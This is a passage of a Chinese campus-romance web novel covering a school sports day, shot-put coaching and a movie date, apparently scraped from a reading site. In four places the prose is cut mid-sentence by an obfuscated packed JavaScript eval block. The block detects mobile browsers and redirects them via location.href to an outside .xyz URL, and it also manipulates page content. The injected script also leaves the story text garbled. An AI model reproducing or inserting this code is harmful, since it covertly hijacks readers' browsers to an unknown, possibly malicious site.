元子衿收回手,摩挲了一下手指,重新拿起刚刚放到地上的铅球,“女明星是拦不住狗仔队的,容小狗,你给我记着!” 在元子衿的印象里,掷铅球这个项目的步骤很简单,手往后仰,再狠狠扔出去,至于有多远,就要看运气了。 刚开始的练习她都是这么做,效果也可想而知。 “这玩意儿,就这么练,有用吗?” 元子衿弯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765414|174559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腰撑着膝盖,一边喘气一边嘀咕。 要说单单只是重复投掷的动作就算了,自己扔出去的球还得捡回来,就这么两三米路来回打转,没一会儿,她身体已经热了起来。 又一个球掷了出去,只不过这回,捡回来的人是容吟。 “诺。” 元子衿没接,鼻尖挂着细密的汗珠,声音里带着明显的赌气:“女明星不和狗仔队接触,你把球放回去,我自己捡。” “行了,歇会儿。” 容吟用另一只手递了张纸巾过去,“我手机密码你又不是不知道,拍没拍,自己待会儿检查。” 元子衿其实也没记挂着偷拍这事儿,不过是真累了,小小地发泄一下。 “你刚看我练习了吗?这每一次扔出去有区别吗?” 容吟把铅球交到元子衿手里,让她摆出投掷的姿势。 “铅球要放在手指根部,不是掌心。”他将五指分开,给她看,“像这样。” “然后球要放在锁骨这个位置,你不用两只手……” 在容吟的教学下,元子衿才惊觉自己对这个项目的认知全是错的。 铅球投掷的每个动作都像经过精密计算,从双腿开立的宽度,到腰胯扭转的幅度,再到最后那一下爆发式的推掷。 她回忆了一下过往见过的投球画面,虽然也不多,但没一个是标准的。 说得再多也比不上亲身示范,见元子衿还是不得要领,容吟慢动作向她演示了一遍。 “看懂了?” 元子衿点头,让他直接完整地投掷一次,随后,她看着他动作,先后听到了破空声以及球落地时砸出的沉闷声响。 “喔!好球!” “哇,他投得好远。” 周边也有在练习其他项目的同学,不经意瞥见容吟掷铅球的一幕后,纷纷发出了赞叹的声音。 元子衿休息了这一会儿,已经恢复精力,她按照容吟的指示,重新摆出了姿势。 “然后这样,对吗?”她试探性地扭转身躯,却仍找不到那个关键的发力点,容吟无声地叹了口气,一步跨到她身后。 他的手指搭在她手上,带着她动作。 他的呼吸喷洒在她颈后,灼烧着她的皮肤。 他的声音缓缓流入,她却好像隔了层膜,听不真切。 慢慢地,眼前的事物也变得模糊,只剩那些触感,被无限放大。 “你试试。” 三个字在耳畔响起,元子衿如梦初醒,手里的铅球突然恢复了沉甸甸的存在感。 她急于摆脱体内骤然上升的温度,不管不顾地奋力一掷,铅球在空中划出一道漂亮的弧线,最终落在比之前远得多的地方。 “孺子可教。” 容吟眼角眉梢都染着笑意,元子衿却是从牙缝里挤出笑。 手指无意识地抚在胸口的衣料上,她小跑着过去捡球。 指导就指导,靠这么近算怎么回事?! 元子衿咬着下唇暗自腹诽,忽而想起上次在密室逃脱时,容吟也是这样自然而然地牵起她的手,黑暗中被放大的触感,和今天如出一辙。 尴尬,太尴尬了! 好歹也男女有别,下次不能再靠这么近了! 明天得让容吟和林沉一换换! 元子衿这么想着。 15. 第二计划 金秋十月已过大半,气温仍是二字开头,似乎每年的秋老虎都在不断刷新自身纪录。 对此,众人只能将锅甩给一个学会了就乱用的词——“温室效应”。 校运会当天,艳阳高照,和温度保持同样高度的是校长讲话时的热情。 他的长篇大论虽都是陈词滥调,但激昂的语气仿佛下一秒一中就能走出一个奥运冠军。 底下昏昏欲睡的众人好不容易熬了有五分钟,只听校长话题一转,又借此机会开启了誓师大会。 明明高三的学生都在离操场最远的教学楼里封闭着,其他年级的学生却是被迫打了一波鸡血。 漫长的讲话环节终于结束,运动会正式开始。 · 运动会上的项目分为两种,田赛和径赛。 田赛是以高度或远度决胜负的场地项目,分跳跃和投掷两类,元子衿几人属于田赛。 径赛是以速度或耐力为核心的赛道竞速项目,通常在跑道上进行,容吟和林沉一属于径赛。 运动会开始后,操场上热闹非凡,偌大的场地被划分成数个赛区,红色的塑胶跑道环绕着中央的绿茵场,跳高区和铅球区各据一方。 “我去龇牙咧嘴了!” 元子衿挥了挥手里的号码牌。 “我去四仰八叉了!” 彦希绑紧了头上的高马尾。 “我去吃沙了!” 简悠悠挤出一个假笑。 三人互相加油打气过后,分头行动。 掷铅球分预赛和决赛,先是初中组,然后才是高中组。 到操场后,元子衿时间还有富余,先去了跑道的起点处。 初中组的比赛项目里没有三千米长跑,田径场上最先迎来的是高一年级的男子三千米。 跑道上,容吟正在做最后的拉伸,修长的身影在阳光下格外醒目。 运动会对服装没有要求,容吟穿的是自己的运动衣裤,纯白速干上衣配黑色运动短裤,衬得整个人干净利落,最吸睛的是脚下那双橙红色跑鞋,像是两团跳动的火焰。 “准备得怎么样?号码牌别好了吧?” 元子衿走到眼前后,容吟停下了动作。 “还行,要不,你给检查检查?” 说着,容吟微微侧过了身,将后背完全展露在她面前。 号码牌的四角各有一个别针,规规矩矩地别在指定位置,布料平整得没有一丝褶皱。 元子衿装模作样地伸手拍了拍他的肩膀,指尖隔着薄薄的衣料都能感受到底下的肌肉线条。 “好好跑,”她故意拖长声调,一副领导的口吻,“我很看好你。” 容吟转过身,嘴角噙着笑:“谢谢领导,领导还有什么指示?” 元子衿歪过头,发尾在脑后轻轻晃动,“你这三千米要跑多久呀?” 她故作忧愁地叹了口气:“不会错过我比赛时的飒爽英姿吧?” 容吟在心里估算着时间,嘴上却说:“那你争取进入决赛,我肯定就能赶上。” “可是我的计划是——”元子衿声线一转,唱了起来。 “我会在这 一人投一人捡一轮游 悄悄的远远的或许舍不得 ……” 元子衿喜欢唱歌,平时有KTV聚会时也是麦霸一枚,像这样即兴篡改歌词的情况并不少。 容吟看着她越唱越投入的样子,无奈地摇了摇头。 “行了,”他打断她的个人演唱会,揉了揉她的发顶,“我争取给领导拿个金牌回来玩玩。” “好喔!” 元子衿眨了眨眼,特意往旁边跳远了一步,摆出一副“你幸福就好,不用管我”的神情继续唱: “至少我们中还有人能快乐 这样就已足够了。” · “各就各位,预备——跑!” 随着枪声响起,各跑道上的同学纷纷如同离弦之箭一般射出,容吟的身影也渐渐变成跑道上的一个小白点。 元子衿在起跑线旁张望了片刻,转身走向自己的赛场。 掷铅球的区域外围了一排人在观赛,时不时地发出几声赞叹,元子衿走到比赛选手队伍里时,女子初中组预赛正好结束。 三班参加这个项目的女生有三个,元子衿和她们都不熟,见其中一个有人陪伴,另一个落了单,她走了上前搭话。 女生间的交往,有的时候三言两语就能看出彼此合不合。 落单的女生叫梁明露,甜美挂的长相,元子衿向她吐槽了一句掷铅球时难以做到表情管理后,迅速引起对方共鸣。 “是吧,都不说扔得远不远,就发力那个瞬间,怎么看都有点狰狞。完了学校融媒体又是个直男审美,每次拍的照片修都不修,推文一做,就这么交差了,气死人!” 梁明露说完,翻了个大大的白眼。 在互联网浪潮的席卷下,校园活动的传播方式早已今非昔比。 以往,诸如校运会这类校内活动的记录新闻还需要通过官网才能了解,如今,做条精致的推文,只需要随手一转发,就能让远在各处的七大姑八大姨喜闻乐见。 “你不提这茬我都要忘了,”元子衿左右晃动着脑袋问:“扛摄像头的人在哪儿呢?” 梁明露给她指了指,“那儿呢。” 拍摄比赛一般都是远景,为避免傻愣愣地入境,梁明露一早发现摄像头后就在队伍里转过了身。 “行,我过去找他聊两句。” 元子衿一阵风似的刮到了手持摄像机的男生身旁,两人聊了没几句,见她递给对方个什么东西后就跑了回来。 “你给他什么了?你不会行贿了吧?” 梁明露虽是压低了嗓音问话,脸上的惊讶一点没少。 “就一块巧克力,哪里用得上行贿两个字。” 元子衿想了想,缓慢说道:“这叫疏通人际交往关系。” 梁明露觑她:“还可以这样?” 元子衿理直气壮:“为什么不可以这样?反正他也是随机抓拍,越过我们就好了。” 比赛的顺序是打乱的,没有按照班级来,元子衿和梁明露的号码牌中间就隔了好几个人。 梁明露掷球时,元子衿一眼就看出她的投球姿势有问题,膝盖弯曲不够,腰部发力也不对,活脱脱就是自己当初的翻版。 令人意外的是,梁明露抛出的弧线划出了惊人的距离,成绩还挺不错。 元子衿突然就想到自己问容吟为什么有的人姿势不对也能掷得很远时他给出的回答。 “有些人啊,天生神力。” “梁明露,你好厉害,深藏不露啊!那个拍照的帅哥肯定后悔答应我了。” 梁明露谦虚一笑:“哪里哪里,你要是有个击中目标,你也可以。” 元子衿没明白她的意思:“什么击中目标?” 梁明露指着投掷区域解释:“你就想象那里站着一个你很讨厌的人,你拼命往前扔就能砸死他。” 听完这番言论,轮到元子衿说这句话了,“还可以这样?” 梁明露给出对应的回复:“为什么不可以这样?” 实战效果这么好,元子衿不免好奇梁明露的击中目标,“所以刚刚那里站着谁?” 梁明露嘴角一勾,竖起中指,推了推鼻梁上并不存在的镜框,“前男友。” 元子衿一噎,由衷地感叹:“爱情的力量真伟大,过期了的也一样。” · 三千米的赛程像被拉长的胶片,前半段沉闷得观众席上的加油声都稀稀拉拉,众人低头玩着手机,偶尔才抬眼扫一下跑道上的赛况。 随着时针不停旋转,最后一圈的铃声响起,身处前几位的选手开始冲刺,整个观众席像是突然通电般活了过来,视线也一下集中。 跑在最前端的三名选手相互咬得很紧,稍一眨眼可能就换了顺序,他们各自所在的班级也同样不遑多让,加油呐喊的声音一轮高过一轮。 最后一圈过半,容吟的身影如利刃般从三人中劈出,那双橙红色的跑鞋也仿佛成了风火轮。 绿茵场内跳高区和铅球区有不少人分出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15771057|174559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视线给了跑道,都被那道白色身影所牵引。 最后一口气在胸腔炸开,容吟猛地提速冲过了终点,白线在脚下模糊成一道流光,耳畔的欢呼声如潮水般涌来。 终点处的警戒线拉下,各班的后勤人员蜂拥而至,几个外班女生原本被容吟冲刺时的英姿晃了神,犹豫着要上前送水,见穆瓷走到他身边后,清醒掉头。 “恭喜拿下冠军,辛苦了。” 容吟弯着腰,双手撑在膝盖上喘息,汗水顺着下巴滴落到了跑道上,抬头时,湿透的碎发黏在了额前,他看了一眼穆瓷递过来的水,先声道谢。 悬在半空的矿泉水又往前递了递,连同着穆瓷的声音一起,“喝点水缓缓吧。” 因着她的动作,原本侧着的瓶盖转向对上了视线,看清上面贴着的草莓贴纸后,容吟忽地一笑,伸手接过时,指腹在那枚贴纸上轻轻蹭了一下。 穆瓷的嘴角牵起一个弧度,指着瓶盖做解释:“怕会弄混,元子衿特意给你这瓶水做了标记。对了,你待会儿应该还要去看她比赛吧?” 她转过身,又拿了瓶水递过来:“那给她送水的任务就交给你了。” “谢谢。我待会儿就过去。” 听着他再次道谢,看着他终于拧开这瓶水,目送着他的身影走向铅球区,穆瓷这才允许自己眼底的光暗下来。 · 元子衿比赛时发挥正常,和她练习的成绩差不多,虽然没能杀进决赛,但也心满意足,离开投掷线时,还被裁判老师夸了句姿势标准。 “欸,姿势标准有什么用啊,还不是只看结果不看过程。” 和梁明露重新汇合后,元子衿开启了吐槽模式,“你说这要是和演算一样,还给步骤分,我是不是就能进决赛了……” 没等梁明露给出答复,视野里出现容吟的身影后,她及时闪身走人。 其实最初开学时,容吟也曾短暂地成为过梁明露的crush,但看到元子衿和他的互动后,就此被踢进了rubbish。 原本她以为这两人是以朋友名义行尽暧昧之事,直到发现他们四人都是青梅竹马,才知道那些旁人看来亲昵过界的举动,于他们而言不过是经年累月养成的习惯。 她看得出来容吟对元子衿的特殊,也乐意以一个旁观者的角度欣赏这出暗恋戏码,毕竟有些故事,能做个清醒的旁观者已是幸运。 “你什么时候过来的?有看到我比赛吗?” 见容吟踩着这个时间节点过来,元子衿眉眼带笑,只是不确定他有没有赶上自己的比赛。 “看到了,很厉害,进步很大。” 容吟的声音里带着运动后的沙哑,却掩不住笑意。 “那你呢?”元子衿指尖轻轻点了点容吟空荡荡的胸口,“说好的金牌,有没有拿到?” 容吟没回答,手自上而下抬起,带着一阵细风拂过她的碎发,“低头。” 元子衿照做,脖颈处很快触到一抹冰凉,定睛一看,金灿灿的奖牌在胸前坠下,折射出的光线晃得她眯眼。 他收回手:“答应领导的事,肯定要做到。” 指尖抚过奖牌的纹路,元子衿的唇角不自觉上扬,注意到容吟运动裤口袋里露出一截黑色,问他:“那是手机吗?” 容吟一下就猜出她的想法,往外拿了出来,“怎么,要和我的奖牌合影?” 元子衿双手捧着金牌举到胸前,眼睛亮晶晶的:“趁着我背后的场子还没撤,赶紧拍一个,假装这是我掷铅球拿到的金牌。” 容吟挑眉:“你还挺会偷梁换柱啊。” 她啧了一声:“这叫合理利用资源。” 镜头里,元子衿的笑容比胸前的金牌还要夺目,她身后是流动的人群虚影,铅球场的横幅在风中轻轻摆动,像是一面为她加冕的旗帜。 按下拍照键的瞬间,画面完美定格,顶部却在这时弹出一条好友申请。 容吟的视线从那一行字上掠过,眼神以肉眼可见的速度凉了下来。 随后点开的好友申请备注栏里,赫然写着:“来自林沉一分享的名片”。 16. 第三计划 校运会结束,众人又重新过回每天需要上发条的读书日子,忙里偷闲的空档,彦希拉着元子衿在走廊上吐槽最近新追的热剧,语气相当愤慨。 “三元又三元,三元何其多,这资本家是真会吸血!” 近几年,电视剧的制作水平没有提升,观看的成本倒是增长不少。 为了免除广告开了VIP,为了免除定制广告又升级了SVIP,然而套路层出不穷,还有超前点映继续等着。 “要不你去超话找人共享一下?” 元子衿的建议还算迂回,换成简悠悠在这会直接让彦希去看盗版,毕竟内娱的现偶她不敢恭维。 彦希摇头拒绝:“要想数据好,花钱少不了。你太久没追星,体会不了我的。” 元子衿和简悠悠刚进初中时也曾赶过一段时间的追星热潮,当时追的是国外女团。 年纪虽小,但是热情,跟着一众粉丝姐姐肝天肝地地做打投女工,而为了得到两位妈妈的经济支持,还不忘头悬梁锥刺股地搞学习。 后来成员各自发展成富婆,合体的机会越来越少,两人的热情也就冷却了。 彦希是在中考结束后的暑假,因为一张网传神图粉上了她的内娱哥哥,和元子衿简悠悠在军训期间混熟后,极力推荐入坑。 追过TOP级别的女团后,国内的真的很难再入眼,尤其是这个性别还容易塌房,所以每当彦希卖安利时,两人的态度是——不理解但尊重。 “对了,”彦希突然想起什么似的,“悠悠昨天是不是去了文化宫那边?我好像看到她了。” 文化宫与图书馆只隔着一条林荫道,彦希在那里遇见简悠悠不足为奇。 元子衿咬着塑料棒点点头,嘴里的糖球被她拨到一边,“她在图书馆约会。” “厉害!”竖起大拇指表示过敬佩,彦希话题转移到元子衿头上,“那你呢?” “我怎么?”元子衿也不知道自己怎么突然被点名,茫然地眨着眼睛。 “不追星,不恋爱,你不觉得你的青春无处安放吗?” 元子衿被彦希的口号逗笑:“我的青春非要和这两件事挂钩啊。” “俗话说得好,人不风流枉少年。” 彦希摇头晃脑地拖着长音。 元子衿扑哧笑出声:“那你可真是太风流了。” 彦希笑着去捏元子衿的脸颊,两人闹作一团时,冷不防地被一声故作严厉的咳嗽声打断。 “咳咳咳,注意点影响!” 元子衿和彦希闻声同时转头,只见简悠悠怀里抱着一摞信纸,从办公室方向款款走来。 她们的目光先是落在了她身上,而后,又不约而同地偏移,分了一半给静静立在她身旁的那个人。 男生面容清俊,气质温和,手里拿着同款信纸,阳光在他的镜片上投下细碎的光斑,衬得他整个人格外干净清爽。 “你们弄完了?” 这一届新生杯作文比赛竞争激烈,一中通过初赛的人只有简悠悠和隔壁班周昀,也就是现在站在一旁的男生。 两个班的语文都是孟美兰在教,所以两人最近总是一块儿得到她的召唤,也由此,本不相识的元子衿和周昀渐渐混了个脸熟。 “嗯,说是让我俩再修改修改。” 简悠悠嘴角往下一垮,显然对来回修改文章一事表示心累。 周昀跟着苦笑了下,也没多停留,和几人招呼着准备回自己班教室。 “那我先回班里了,拜拜。”他摆了摆手,目光依次向三位女生致意。 · 回教室后,简悠悠将信纸收进了抽屉,趁着下节课的老师还没进教室,拉过元子衿咬耳朵。 “你觉得……周昀这个人怎么样?” 一个意想不到的问题忽然被抛出,元子衿看向简悠悠的表情顿时凝滞:“啊?” 脑子里一下飘过各种狗血剧情后,她有些谨慎地开口:“你和江煦……出问题了?” 想起自己曾经面对相同场景时扬言绝不和渣男做朋友,元子衿赶忙向简悠悠表义气:“不管怎样,我都站在你这边!” 简悠悠一下笑出了声:“什么乱七八糟的,我是问你觉得他怎么样?” 她特意在“你”字上咬了重音。 元子衿水汪汪的大眼睛不明所以地盯着简悠悠看了会儿,还是回答了这个问题:“看着人挺好的,有点学霸气质,怎么了?” 简悠悠若有所思地点了点头,随后扔出一个炸弹,“他对你有好感,有一阵子了。” 剧情一下峰回路转,元子衿再次愣住,“啊?” 元子衿的反应在预料之中,简悠悠面不改色地慢慢解释:“我俩不是因为这个比赛最近打交道也还算勤快嘛,一开始,他找我套近乎我也以为他不对劲,后来估计是看出来了我误会他,立马就澄清了他的心意。” 消化完简悠悠的一大段解释性语言,元子衿问道:“So?” “So跟他接触下来,我觉得人还挺不错。这不是想着你在执行那个第一计划,我就特意让他每次和我一起,在你面前自然地露个脸,就是想你以平常心看待,然后慢慢地认识。” 或许真是因为这样自然而然地接触了几次,元子衿得承认,她对周昀没有面对其他追求者时那种拘谨的感觉。 老师这时正走进教室,元子衿将桌上的书立起,遮住自己的脸。 “然后呢?”她问。 简悠悠也竖起一本书:“他想请你看个电影。” “看电影?不合适吧?”元子衿摇了摇头。 简悠悠不以为然:“这有什么不合适的,我追江煦的时候不也是积极主动地制造各种相处机会。你不用想太多,就是和朋友一起玩耍而已,国外多的是date以后没有下文的。” “你这让我有种……提前体验未来相亲模式的幻视。” 一听这话,简悠悠就猜着元子衿的表姐没少和她吐槽这个话题。 “表姐有没有奉劝你什么话?”简悠悠促狭地眨眨眼。 元子衿回忆道:“还真有,她说——还是学校里的正常男性多。” · 就为表姐那句金玉良言,元子衿最后应了电影的邀约。 谁知上一秒刚答应,下一秒林沉一就找了过来。 “看电影?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15782712|174559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 元子衿咬着唇,这才忍住了没有问一句,你怎么也要看电影? 林沉一坐在了许舟的座位上,他随手捞起摊在桌上的按动笔,有一下没一下地按动着。 “昂,刚出来的。咱们前年不是看了它的第九部,我已经叫了容吟,怎么样,第十部走起?” 元子衿没答复,眯着眼睛反问:“这类项目,你怎么不找你女朋友?” 自从林沉一谈恋爱以来,除了那次一起去密室逃脱,四人几乎没怎么一同外出过。 林沉一眼神有些飘忽,生硬地解释道:“她……她不喜欢这个类型。” 元子衿听明白了,阴阳怪气地觑他:“哦,所以你就想起我们了。” 林沉一理不直气也壮:“欸,怎么能这么说呢!去不去啊,给个准信,就这周六,我好提前订票。” 按动笔的笔尾牵连着弹簧,不断发出“咔嗒咔嗒”的声响,回到座位的简悠悠从林沉一手中抽过,“不去”两个字和笔一同落下。 “怎么,那天你又要找她给你打掩护?” 林沉一挑眉,往后方的椅背一靠,双手抱胸看她。 简悠悠本来还没想好理由,这会儿干脆借坡下驴,扬起下巴回复他:“不行啊。” “不是,你这约会挺多啊!听哥一句劝,距离产生美,不要约会这么频繁。” 林沉一一副过来人劝话的口吻,听得简悠悠想笑,“这话从你嘴里说出来,你自己信吗?” 林沉一说起鬼话来是一茬接一茬,简悠悠连白眼都懒得再翻给他,她指了指后门,下起了逐客令。 “行了,你滚吧,要上课了。” · 回到座位后,林沉一瘫坐在了椅子上,声音没有什么起伏地向容吟坦明了邀约失败。 “他俩不去,元子衿又要给简悠悠打掩护。” 课间,容吟一直在算上节数学课留下的一道大题,闻言,写字的手一顿,抬头看向了元子衿所在的方向。 他的视线连同指尖的笔,转了个漂亮的弧线划到左侧,“所以——只有我陪你,就不打算看了?” 林沉一这阵子的情绪有些低落,虽然没明说,但容吟知道和程珂然脱不了关系,更不用提手机上最近接收到她的好友申请比之前频繁。 或许,置之不理并不是最好的解决方法。 林沉一挤出一个笑脸:“怎么会呢,有你陪我就够了,他俩其实都是顺带的。” 手指在手机屏幕上快速滑动几下,林沉一翻出了今天新发布的电影预告片,将手机往容吟面前一推,屏幕上的光影在他脸上明明灭灭。 “瞅瞅,热乎着!” 预告片里的爆炸声效从手机扬声器里传出,引得前排两个男生齐齐回头。容吟垂眸看着屏幕上闪过的画面,睫毛在眼下投下一小片阴影。 汽车在弯曲的公路上发生碰撞,瞬间涌现出的火花向着周边迅速扩张,目光里藏着硝烟处于对峙状态的两位男性,最终在分镜下一同定格。 定格的这一幕被制成了其中一版海报,以立牌的形式摆在了影院门口,电梯门向两边缓缓打开,元子衿走出时正好瞧见。 17. 第三计划 “你来了。” 元子衿刚踏入属于影院的区域,坐在等候椅上的周昀就走了过来,他手心里攥着两张影票,看起来已经到了有一会儿。 “没等很久吧?” 约定的时间是三点整,元子衿准时抵达,只是两人还不熟,只好找些有的没的问题来作为开场白。 周昀的目光落在元子衿脸上一瞬,转头收回,“没有,就早几分钟。” 两人往里走着,路过取票机时,队伍大排长龙。 电影院里走动的人几乎人手一桶爆米花,香气浓郁扑鼻,见状,周昀主动找话题:“你喝什么?要吃爆米花吗?” “我来买吧,我有这里的会员。” 元子衿其实这会儿并吃不下,只是想着这个环节她来买单也算有来有往。 这个时间段观影的人数不少,刚进影厅,元子衿就发现座位已经坐满了大半,密密麻麻都是人。 周昀有轻微近视,订票时征求过元子衿的意见,选了第五排的座位。 其实视角也不错,属于靠前的黄金区段。 黄金区段一共有四排座位,林沉一订的位置在第九排。 他和容吟到得早,身下的按摩座椅都已经坐热乎。 “嘶——我咋瞅着那个侧脸像衿妹呢?” 隔着三排距离的一个座位上,一个扎着高马尾的女生正要落座,身形和打扮看着和元子衿很是相像,可惜露出的一点侧脸稍纵即逝,林沉一无法完全判明。 念着元子衿在外帮简悠悠打掩护会无聊,吃过中饭后容吟就一直断断续续地陪着她聊天。 上一条消息还是三点前收到,已经间隔了好一阵子,闻言,他的视线从手机上抬起,只是眼睛还没锁住方向,头顶的灯光已经熄灭。 · 电影散场的灯光亮起,人流如潮水般涌向出口,元子衿和周昀随着这波浪潮缓缓移动,不多时,两人转移到了下一个场地。 因为有简悠悠透露消息,周昀特意根据元子衿的喜好选了一家杭帮菜,看着她眼神倏地变亮,周昀也跟着心情变得舒畅。 两人看电影期间可以说是毫无交流,他只能抓住剩下的一个机会。 服务员将菜单收走,周昀从一旁端过茶壶来给两副碗筷消毒。 茶杯放在碗里,筷子立在杯中,热水倒满茶杯,再一一向外剥离,而后,一副碗筷完整地被推到了元子衿面前。 “谢谢。” 将碗筷往身前又移了些距离后,元子衿没再多说什么。 周昀刚刚的行为无疑是贴心细致的,但她却没有给他加分的意思,大概是平日容吟替她做惯了这些,她并不觉得内心有所波动。 “刚刚的电影你觉得怎么样?” 周昀指节轻叩着茶杯,水面映出他斟酌的神色。 “剧情特效什么的都是以往的水准,”元子衿抿了口茶,水温刚好,却尝不出什么滋味,“就还不错。” 她答得妥帖,实际却是因为坐在身边的人不算熟悉,电影有好几处想吐槽的地方都被她憋住了。 “那之后……还可以请你出来看电影吗?” 周昀问得直白,元子衿也没拐弯抹角:“我觉得我们还是先在学校里做朋友吧。” 诚然,面对周昀时没有那种拘谨的感觉,但同样,也没有半分悸动。 不是说他有哪里不好,相反,无论是交流的方式方法还是一些细节问题他都注意得很好,只是元子衿内心平静的湖泊一点涟漪都泛不起来。 预料中的沉默场面出现片刻,两人同时出声。 “抱歉,是我……” “不好意思……” 话音一同停住,两人忽然相视一笑。 这一笑,反倒化解了微妙气氛。 “抱歉,是我太激进了。” 最后还是周昀先继续说:“其实不该和你还在不熟悉的状态下就约出来看电影。” 以两人短暂相处的时间来看,元子衿也觉得请看电影不像是他会做的事,一问,才知道原是朋友出的主意。 “他们说我无趣,如果只是在学校里偶尔见面打个招呼,可能要很久你才会记得住我,不如组织一些活动,说不准能找到共同的兴趣爱好。” 元子衿开玩笑地说:“听起来像是好心办了坏事。” 周昀也笑:“是啊,所以我觉得你的提议很好。” “你刚刚问我下次还能不能一起看电影,其实我觉得这个也不太像是你会问的,难道这也是你朋友建议的?” 感觉两人的交谈已经是一场坦白局,元子衿也没掩饰自己的好奇。 周昀顿了会儿,如实道:“这个是简悠悠让我问的,她说一定要在吃饭前和你聊开,不然会影响你的食欲。” 不愧是相处了十几年的姐妹,这话一点不假。 倘若这话不说开,她和周昀也能好好吃完这顿饭,但就是不尽兴,只是为了保持礼貌强撑着。 但话说开了,她觉得周昀人也不错,两人可以做朋友,这顿饭就是一个渐渐熟悉的过程,一个好的开端。 于是,对电影的吐槽可以说出,在学校的生活建起了沟通的桥梁,朋友间的你来我往也得以继续。 · 【熬夜至今:我在商场,你之前念念不忘的那家红豆绿茶糕,要不要给你带份回?】 手机屏幕暗了又亮,发出的消息依然孤零零地躺在对话框里,容吟锁上手机,塞回口袋,继续跟着林沉一在美食层漫无目的地游荡。 各种菜系的店铺鳞次栉比,各色美食的香气在空中交会,两人第二次路过那家杭帮菜时,容吟叫住了林沉一。 “你要是不想在这吃,用手机查查其他地方也行,我进去给元子衿打包一份绿茶糕,怎么样?” 林沉一食欲缺缺,在这一层兜转也不过是为了应付“按时吃饭”的任务,容吟在杭帮菜馆前的驻足反倒像替他做了决定。 “没事,就这家吧。” 走进店内,服务员向他们确认了用餐人数,随后,领着两人到了光影交错的用餐区。 距离晚高峰尚有段时间,店内客人三三两两,每桌之间都隔着恰到好处的距离,既保留隐私又不显冷清。 “您二位这边扫码点单就好。” 桌上有提前准备好的碗筷,服务员微笑着端上一壶茶,离开了餐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788516|174559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桌。 林沉一没玩手机,点单的任务交给了容吟,他百无聊赖地把玩着一双筷子,目光开始四处游走。 放眼望去,店里用餐的食客多为成双成对的年轻人,他们有说有笑的模样衬得自己这桌格外安静。 目光扫到窗边的一桌时,筷子突然在林沉一指间打了个转,他眯起眼,头不自觉地往那个方向倾了点。 这不是元子衿吗? “欸,我觉得你不用给她打包了。” 容吟刚提交完订单,手机屏幕还亮着微光,他抬眼看向对面:“怎么?” 林沉一下巴一扬,指了个方向:“人自己正吃着呢。” 靠窗的座位上,一男一女对坐两侧,他们一边聊着天,一边吃着饭,和周围的其他食客并无差别。 窗外华灯初上,窗内暖光包围,两人在一起的画面看上去十分和谐,只是这份和谐像根细小的刺,不偏不倚扎在了容吟视线最敏感的位置。 “我就说电影院里那个女生有点像她,不过她不是应该在给简悠悠打掩护吗?难道其实是简悠悠给她打掩护?” 林沉一兀自叨叨着,容吟没说话,他一口干掉已经冷却的茶水,指腹搓着杯身凹凸的花纹。 上菜的服务员走到他们这桌,端上一道西湖醋鱼,刚要拿起桌上的小票核对菜品,容吟霍然起身。 “我去趟洗手间。” 没等林沉一反应,他已经绕过服务员离开了餐桌。 · 一顿饭下来,元子衿一直没有碰手机。 起初是为了维持餐桌礼仪,不想让周昀尴尬,后来聊开了,也不需要它来打发时间,直到结账时,前台扫码器的“嘀”声响起。 “一共多少钱?我现在转给你。” 走出店外,元子衿解锁了手机,屏幕亮起的瞬间,十几个未读通知里,容吟的名字格外醒目。 “你就转我80吧。” 周昀说着,朝元子衿所在的方向亮了下屏幕,正中间的数字显示的是“165”。 容吟头像的右上角有个小红点,里面写着数字2,元子衿心想他应该没什么急事,于是先找出沉到下方的周昀,给对方转了账。 “对了,你是怎么过来的?地铁还是公交?” 元子衿刚返回消息的主页面,还没来得及点开容吟的头像,闻言侧目看向周昀,手机再度熄屏。 “我蹭家里人的车过来的。” 陆倩南原本约了两点做美容,听元子衿说比她晚一点出门后,索性往后推了推,捎带着一起上了车。 “那待会儿你打算怎么回去?地铁公交还是打车,我送你回去吧,天已经黑了。” 周韵的声音温和有礼,始终恪守着他的绅士风度。 